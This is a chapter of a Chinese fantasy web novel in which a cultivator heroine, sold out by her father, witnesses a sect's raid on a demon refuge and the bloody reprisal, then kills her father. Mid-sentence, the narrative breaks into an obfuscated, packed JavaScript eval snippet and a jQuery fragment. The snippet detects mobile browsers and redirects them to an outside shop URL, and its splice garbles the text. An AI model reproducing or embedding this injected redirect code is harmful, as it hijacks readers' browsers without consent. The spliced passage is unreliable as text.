25. 天塌下来我担着

作品:《修仙大佬人均恋爱脑?

    好颠。


    又暗又闷,还在上下颠簸。


    这是什么地方。


    额头在粗糙的麻料上蹭得生疼,她猛地睁开眼,只撞见浓得化不开的黑——自己被捆在麻袋里,那绳索缠着冰凉的咒力,挣一下,勒得骨头缝都发颤。


    是谁?


    兰卿抓我没必要用麻袋吧。


    长安手里有鸡腿不可能对我有兴趣。


    钟离渊?这又是什么别出心裁的变态play?


    忽的,麻布粗斜的针脚里挤进来几缕金光,忽明忽暗,像一串被点燃的咒文正顺着布纹爬。辞盈心头一沉,这光……太熟悉了。


    后背撞上坚硬的青石板,疼。辞盈像猪仔一样被扔到地上,听见麻袋外面讨好的声音:“几位仙长,这便是我那忤逆不孝的女儿,任凭仙长处置。嘿嘿,我那个……说好的灵石……”


    几声碎石洒落在地,那人边捡边道谢:“小的还打听到,这府里有个湖中水榭,那主人公子每日都要去看,八成有什么宝贝……”


    “住口!”辞盈在麻袋里怒喝,“刘铁柱,你再敢胡说,我剜了你的舌头!”


    刘铁柱气道:“反了你了!哪有女儿敢跟亲爹这么说话,真是混账!几位仙长,求求你们替我做主,赶紧把这小畜生处死了吧。”


    说着,他解开麻袋,胡乱将辞盈倒出来:“学了几年仙法,连老子也敢不认了,白吃老子这么多年的粮食,没有良心的畜生,你的命都是我给的,卖了你换钱怎么不应当了!”


    宿醉的头疼像有锥子在钻,辞盈强撑着抬头。垂花朱门大敞,门口血泊里倒着两个看门人,靛蓝道袍正鱼贯而入,衣袂上的阴阳八卦纹格外刺目。


    果然是水云剑宗的人。


    几个弟子身处四角,以剑指天布下阵法,阵中咒符金光交织成天罗地网,正是水云剑宗最擅用的收妖阵,也唤缚灵阵,普通妖灵一旦踏入阵中便无法逃脱,很快便会耗尽妖力,褪回原型。


    院子里的丫鬟小厮大多是听到声音过来查看,刚一露面就被扣在收妖阵中,不少丫鬟已经扛不住,东倒西歪躺了一地。几个负责布阵的弟子悍然而立,手持化妖袋念念有词。


    这么多年,梅岭不是一直隐藏得很好吗,怎么会忽然被水云剑宗发现?


    辞盈忽然反应过来,怒视刘铁柱:“是你引他们来的?”


    为首的道士踱出来,竟是岳朝阳,悍然大笑:“说来也巧!我们从附近山中路过,正碰上你这便宜爹。要不是他主动引路,这梅岭之外幻象重重,还真不容易发现。”


    辞盈急道:“梅岭的妖众都安分守己,从未惹事生非,也从不害人,岳师兄请手下留情!”


    岳朝阳作为传功长老座下首徒,向来在众人面前颇有威望。自从上次在执法殿因为“吐真言”出丑,被师父暴打一顿还关了禁闭,他便将此事当作奇耻大辱,誓要将辞盈扒皮抽筋才能报仇雪恨。


    此时见她情态急切,岳朝阳心里莫名舒爽,笑道:“妖便是妖,岂有好坏之分,师妹,你忘了宗主的教诲了吗?今日我定要荡平这妖精窝!”


    “就是,一群妖怪,还装模作样的打赏我,他们也配!”刘铁柱啐了一口,“以为套个人皮就能变成人啦?我呸!一群畜生,什么东西。死丫头,你这么盯着我干什么,瞪我我也不怕你!”


    他一边骂,一边不自觉地往旁边道士身后躲,那人正立在辞盈面前,眼神凶狠:


    “小师妹,别来无恙啊。”


    辞盈定睛一看,真是冤家路窄,怎么偏偏碰上带队的是这两个死对头。


    一个岳朝阳就够烦了,另一个竟是那日将她捆上刑台的王莽。他师父执法长老被钟离渊当众掏心,这弒师之仇,他这辈子肯定没机会找钟离渊报了,当然也要报在辞盈身上。


    岳朝阳笑得阴阳怪气:“王莽师弟,依我看你该多谢她,要不是她召来那邪魔杀死执法长老,你哪有机会转投我师父门下呢?”


    王莽脸色难看:“你说什么!”


    “别动气,开个玩笑。”岳朝阳怀抱佩剑,绕着辞盈转了一圈,“师妹,那日你和江羡之联手陷害我,让我在执法殿丢尽了脸,这笔账咱们今天也该好好算一算了罢。”


    辞盈忍着头疼在识海里搜寻一圈,混沌得一塌糊涂,压根感应不到钟离渊半点神识。


    简直像是人间蒸发了。


    刚才筵席上这货不是一直冷眼旁观埋头苦读来着吗,没看见他喝啊,怎么这会儿醉得跟死螃蟹似的?


    眼下情势,只有拖延时间等那祖宗酒醒了来救命。


    “岳师兄,那日我真不知道是谁搞的鬼。我一个女子,在剑宗立足本就困难,怎么敢成心跟师兄作对呢?”


    王莽拔剑怒喝:“少废话,今日我便要清理门户,替我师……替执法长老报仇!”


    “慢着——”岳朝阳突然说,“现在还不能杀她。”


    “为何?”


    “师弟,我可是为你好。刑台之上你也看见了,宗主简直视她如珍似宝,”岳朝阳嘲讽道,“你现在动手杀了他的爱徒,日后若被宗主得知,不怕他扒了你的皮?”


    王莽只好收剑入鞘,犹豫不决:“那你说怎么办?”


    岳朝阳道:“她自然不能死在你我手中。但今日我们来梅岭除妖,乃是为了正道,若这兰府着火,她又正好倒霉,葬身火海,可就怨不着你我了。”


    说完,他伸手在辞盈脸上黏糊糊地摸了一把:“实在可惜,这么漂亮的脸蛋。若是甜言蜜语两句,莫说宗主,哪个男人又能忍得住呢。师妹,你要不要试着求求我?”


    辞盈面无表情看着他的斗鸡眼:“我以为你这眼神看不出美丑呢,你现在看我不重影吗?”


    “你不想活了?!”岳朝阳被当众揭短,勃然大怒。


    辞盈冷笑:“敢用你的脏手碰我,岳朝阳,我看你才是不想活了!”


    岳朝阳下意识一哆嗦,左右看看众人,高声下令:“今日之事,回到剑宗谁也不许走漏半句!若敢被宗主知道了,你们个个都是同谋共犯,一个也跑不了!”


    不远处乌鸦忽然惊起,房檐上涌起浓烟,一团黑蟒窜上天,焦味混着风吹过来。辞盈惊得攥紧了拳:“你烧了什么?!”


    岳朝阳轻蔑道:“妖种的竹也是一股子邪气,看着就不顺眼,正好点了作引,将你与这整个妖精窝一并处理干净。”


    那竹林……是兰卿豁出命也要护着的地方!


    辞盈觉得喉咙发紧,太阳穴突突地跳,耳膜鼓动着尖锐的嗡鸣,周围的一切都变得模糊,浑浑噩噩地被人推着走了一段,恍惚又听见声音:


    “这便是湖中水榭了。”


    岳朝阳从乾坤袋中取出一个青铜罗盘,默念咒语,盘中星辰逆旋移位,盘心喷涌出淡蓝色星砂。


    笼罩水榭若隐若现的淡绿色光晕突然如冰晶炸裂,万千灵力碎片坠入湖面,惊起一圈圈发光的涟漪。倒映在湖面的残缺月影忽然愈合,整个水榭发出古琴般的嗡鸣。


    禁制被打破了!


    “仙长神通!我这便去替仙长把宝物搬出来!”


    刘铁柱激动地跑到湖边去抓舢舨。突然,从湖边树丛里窜出个黑影,一脚将其踹翻。刘铁柱摔掉了两颗门牙,疼得嗷嗷乱叫。


    “哪个敢到兰府放肆!”


    长安浑身酒气,双目冒火,一手一个抓起两个剑宗弟子丢进湖中,随即扑进人群厮杀起来。剑宗弟子慌忙结阵,长安却如入无人之境,腹背受敌也丝毫不退。


    “妖孽,还敢垂死挣扎。”


    岳朝阳手上罗盘翻转,场中金光法阵骤然变色,淡蓝光圈如钢筋铁环迸射而出,套住长安越缩越紧。


    “长安别动!”辞盈急呼。


    这缚灵玄冰环乃是百年之前墨让尘所创,专门对付法力高强的妖怪,越是挣扎便越是勒紧,直勒进骨肉当中。除非施法者主动放手,任你力大无穷也无法挣脱。


    长安双臂被缚,见利刃劈下,纵身一跃,滚至湖边舢舨上。刘铁柱刚登上舢舨,撑杆欲走,见这人高马大的黑影撞进来,吓得差点儿扔掉船篙。


    “不准碰水榭!”长安怒道,“我主人待你不薄,你怎能恩将仇报!”


    刘铁柱不理,只顾撑篙。突然惨叫一声,他的小腿被长安死死咬住,船篙掉进水里。


    “不知死活的畜生!”刘铁柱怀里不知何时藏了匕首,掏出来狠狠捅进长安胸口。


    “长安——!”


    辞盈的呼吸瞬间停了。


    院落深处火光舔着房檐,灼热的风卷着竹叶烧成的灰烬落在湖面上,清澈的湖水染成了墨色。


    没料到长安中了刀还不肯松口,恨不得撕下一块肉来,刘铁柱怒极,拔出来又当胸补了一刀。长安胸口鲜血如注,眼白一翻,脑袋垂了下去。


    辞盈喊破了音,浑身血液瞬间沸腾,牙齿不受控制地咯咯作响,指甲深深嵌入掌心却浑然不觉疼痛。


    他们该死。


    应该统统都杀了!


    腰间佩剑突然红光大作,阵阵嗡鸣,竟然自觉感应而起,一剑将捆住她手腕的绳索斩断!


    “她要逃跑!”


    岳朝阳报仇心切,拔剑便劈,辞盈脚下打旋,堪堪避开,仿佛要逃,长剑却转了个不可思议的角度,斜刺向他腋下,岳朝阳始料不及,剑刃在腰间犁出一道深痕,血珠霎时殷透道服。


    “妖女!”


    岳朝阳忍着剧痛,刚要骂,辞盈已如离弦之箭扑来,长剑像活了似的,猩红的剑气所向披靡,一时分不清不知是她在操纵佩剑,还是被佩剑所控。


    这女的好像疯了!


    岳朝阳招架不住,胡乱挡了两下,慌忙撤回人群。


    “仙长带上我!”刘铁柱见势不好,也想跟过去,被辞盈一掌拍进湖里,咕噜咕噜地喝水,扑腾着呼救。


    “事已至此,没有回头路了。”岳朝阳喘着气,惊慌失措,“若被她逃回去向宗主告状,你我都得完蛋。王莽,咱们一起上!”


    话音未落,忽听见一阵奇异的怪响,像什么坚硬的东西破土而出。


    弟子中传来一声惨叫,众人惊悚地四下寻找,发现那人脚下的青石板地里竟长出了带刺的藤蔓,穿透骨肉如同刀剃豆腐,迅速蔓延全身,再从七窍里钻出来,五脏六腑都已化作花泥养分。


    紧接着,各块青石板下接二连三生出藤蔓,众人大惊之下,鬼哭狼嚎四散而逃,阵法乱作一团,局面登时扭转了。


    “不对劲,咱们先撤吧!”


    王莽拿剑的手突突地哆嗦,边说边往外退,回头发现岳朝阳动作凝滞,仿佛被什么东西缠住了双脚。


    “你怎么了?”王莽警惕地后退几步。


    伴随着石板碎裂,从岳朝阳脚下生出的藤蔓却不带刺,反而交织着五彩花苞,瞬间将他捆成一团,王莽挥剑斩断一根,立刻从旁支疯涨出数根,如毒蛇般顺着剑身盘踞而上,吓得王莽直接连剑也丢了。


    “有妖术——救命啊!”


    漫天火光之中现出一个人影,手持骨扇,面色阴郁可怖,扬袖抛出无数殷红色花瓣,边缘泛着寒光,如暴风雨般席卷而出。众弟子无处可藏,花瓣划破之处皮开肉绽,再从血管里生出妖异的红花,一时惨叫声此起彼伏,犹如人间炼狱。


    “谁动了竹林。”


    兰卿脸色苍白,眼底却猩红,指尖杀意肆虐,浑身上下散发着陌生的凛然妖气。


    “是……是他!”王莽连连倒退,连话也说不利索了,“不关我的事,都都都是他做的!”


    兰卿毫无温度的目光落


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101555|195737||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在岳朝阳身上,仿佛在看死人。


    “是你。”


    “不是我……我什么都不知道……”岳朝阳的脖颈被藤蔓越勒越紧,直涨得满脸通红几乎窒息,身上的花苞还在竞相绽放,娇艳无比,画面十分诡异。


    濒死之时,他拼尽全力从嗓子里挤出声音:“师妹……师妹救救我……看在宗主和水云剑宗的面子上……救救我……”


    兰卿手上动作一顿,冰冷的目光缓缓移向辞盈,不可思议地望着她:“他叫的是你?”


    仿佛浑身的力气都被抽走,辞盈觉得他好像已经出手了,他震惊又愤怒的眼神像藤蔓一样快要将自己勒死。


    “你是水云剑宗的人。”兰卿盯着她,“你是墨让尘的人。”


    辞盈手脚冰凉,喉咙发紧,艰涩道:“我是……但我不是成心要骗你,请你相信我。”


    “我的确是太相信你了。”兰卿道,“辞盈,你带人烧我竹林,杀我妖族,也都是墨让尘授意的吗?”


    “我没有。兰卿,我不想骗你,墨让尘的确是我师尊,但我来梅岭与他无关,我也没有任何要伤害你们的想法……”


    “好。”兰卿打断她,“你敢承认身份,也算是一种坦诚,不必多说,是我识人不清,怨不得旁人。”


    岳朝阳奄奄一息地倒在地上,浑身开满了各色花苞,越是挣扎,花开越是娇艳欲滴,渐渐连惨叫和呻吟也吞没在花苞里。


    身后许多弟子还在勉强对抗,而王莽却早已不知去向。


    辞盈余光瞥见一个黑影溜过去,竟是刘铁柱又从湖里湿漉漉地爬了出来。


    “你倒命大,竟还没死。”


    她掐住刘铁柱的后颈狠狠掼在地上,在他爬起来之前又一脚踩住他的脑袋,剑尖抵住背心。


    “救命啊!女儿要杀亲爹了——”


    刘铁柱杀猪一般惨叫,“弑父有违天理人伦!世间没有这样的道理!你不能杀我!不能杀我!”


    此人该死。


    明明对其毫无感情,握着剑柄的手却止不住颤抖,如同被无形的锁链锁住了琵琶骨,咬紧牙关始终无法出剑。


    “我可不是你女儿。”辞盈咬牙道。


    刘铁柱脸被踩在地上,骂声不断:“不孝的混账东西!没有老子哪来的你!你敢杀你爹,你还是人吗!反了你了,赶紧放开老子!”


    不甘心。


    胸腔里翻滚着,沸腾着,像一簇无论如何也浇不熄火焰。那些殴打,辱骂和出卖的回忆,带着前世今生解不开的仇恨在眼前一一重叠。


    冥冥中无数双眼睛在深渊里凝视自己,监视,指责,痛斥,嘲讽。剑尖抵着的不是人肉,是这世间不可动摇的秩序,不能被挑战的底线。


    “闭嘴,我管你是谁!”辞盈浑身哆嗦,指节攥的发白生疼,深吸一口气。


    下不去手,咬到牙根发麻竟然还是下不去手,沮丧的心气和剑尖一齐无力地垂落。


    有人轻轻托住她的手腕。


    炽热有力的手牢牢握住她的,稳住剑刃,像源源不断的力量注入身体,让她濒临崩溃的理智慢慢归位。


    辞盈转头,正撞上钟离渊冰冷的眼睛。


    “想杀便杀,天塌下来我担着。”


    他带着她,用力,刺穿,拔出,归鞘,一气呵成。连半句惨叫也没有,刘铁柱立时断气。


    “我真的杀了他……”辞盈盯着虚空,喃喃道。


    钟离渊语气淡漠:“他该死。”


    另一边的战场也已经了结。


    残肢断臂散落一地,水云剑宗弟子的尸体横陈在血泊中,皮肤上爬满妖异的藤蔓,胸口绽开巨大的食人花,花瓣边缘还滴落着未干的血珠。


    除了王莽和几个跑得快的,基本全军覆没。


    血腥味和烧焦的竹叶味交杂充斥在鼻腔里,辞盈胃里一阵翻涌,蹲在地上干呕。


    兰卿简单处理了长安的伤,将他交给璇玑,随即起身面向辞盈,手上祭出法器毒刺:


    “动手吧。”


    虽然面向她,但这话显然不是在对她说。


    钟离渊抱着胳膊挡在辞盈前面,一副你想打架我也无所谓的表情:“不是她做的。你要报仇,就应该直接去暮苍山找墨让尘。”


    “我打不过墨让尘。”


    “废物。”


    兰卿凄然一笑:“我护不住青蘅的肉身,也护不住这梅岭的妖。我认不出墨让尘的弟子,害死这许多妖众。你骂得对,我的确是废物……”


    “不是这样的……”辞盈哽咽。


    “不是吗?”兰卿突然额头青筋暴起,厉声吼道,“你不是墨让尘的弟子?这些人不是你和你爹带进来的?还是你想说我们本就该死,你们水云剑宗只是在除魔卫道?!”


    辞盈自觉百口莫辩,只剩下一句干涩的“对不起”,显得轻如鸿毛。


    “离开梅岭吧。逃回去的弟子一定会告密,梅岭已经不安全了。”她说到这里,心中酸痛,狠狠咬破了嘴唇。


    这一片世外桃源,终究是不复存在了。


    “请你们马上离开,”兰卿别过脸,“辞盈,我永远不想再看见你。”


    孤独的背影在舢板上飘远,飘向湖心水榭。


    “回去转告墨让尘,不必费心搜我,我迟早会去找他。”


    辞盈从支离破碎的尸堆边走过,脚步虚浮,神情也有些恍惚,无意识扫过被藤蔓绞得扭曲变形的尸身,有几个小弟子十分眼熟,大概从前在山上碰见过,还跟她打过招呼,笑着叫过她师姐。


    她怔怔地对着他们的尸体,像是迷了路,不知该往哪个方向才能回家。


    “我想回家。”


    钟离渊唤来鸣蛇,振翅的瞬间,两人都没说话。风声里,只有梅岭燃烧的噼啪声,和再也回不去的过往。